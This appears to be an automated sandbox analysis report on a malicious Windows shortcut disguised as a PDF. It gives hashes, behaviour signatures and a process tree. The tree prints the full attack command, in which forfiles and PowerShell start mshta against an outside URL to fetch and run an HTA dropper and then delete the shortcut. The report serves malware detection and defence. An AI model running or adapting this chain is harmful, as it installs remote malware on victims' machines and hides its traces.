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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/03/2024, 13:53

General

  • Target

    PortnoyPatti22.pdf.lnk

  • Size

    5KB

  • MD5

    f5dcd8d6e15a1893bfbde898c31aad3f

  • SHA1

    745733e2269b92e625d705e2c9da8b0f4b46afed

  • SHA256

    840da5eb639d739bd4e957e0e020821b8436f3e1816bbcb3744a8ae4960e2e9a

  • SHA512

    72e9655e430eecc2588775aeaed4962fd633d6f411b0d1f488dfc382a6b2e5f039f883a75d587293ec394efd643dd9eddffbc3b367c7d2ae0245481edd92e95d

  • SSDEEP

    24:8WEeO2d+aV9pyAnc8Pkr+/4l+nQ6wY4XYBdd79dsVvNyvNeab4QCmo:8WEP2zncF1dY4IBdJ98KcakQC

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://fromatodor.com/PPortnoy

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PortnoyPatti22.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://fromatodor.com/PPortnoy;$VRPJ = Get-Location;$VRPJ = Join-Path $VRPJ 'PortnoyPatti22.pdf.lnk';del $VRPJ
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        start mshta http://fromatodor.com/PPortnoy;$VRPJ = Get-Location;$VRPJ = Join-Path $VRPJ 'PortnoyPatti22.pdf.lnk';del $VRPJ
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4852
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" http://fromatodor.com/PPortnoy
          4⤵
          • Blocklisted process makes network request
          PID:3540

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqvae4z1.sw1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4852-0-0x0000020AE9F30000-0x0000020AE9F52000-memory.dmp

    Filesize

    136KB

  • memory/4852-10-0x00007FFF76DC0000-0x00007FFF77881000-memory.dmp

    Filesize

    10.8MB

  • memory/4852-12-0x0000020AEA050000-0x0000020AEA060000-memory.dmp

    Filesize

    64KB

  • memory/4852-11-0x0000020AEA050000-0x0000020AEA060000-memory.dmp

    Filesize

    64KB

  • memory/4852-13-0x0000020AEA050000-0x0000020AEA060000-memory.dmp

    Filesize

    64KB

  • memory/4852-17-0x00007FFF76DC0000-0x00007FFF77881000-memory.dmp

    Filesize

    10.8MB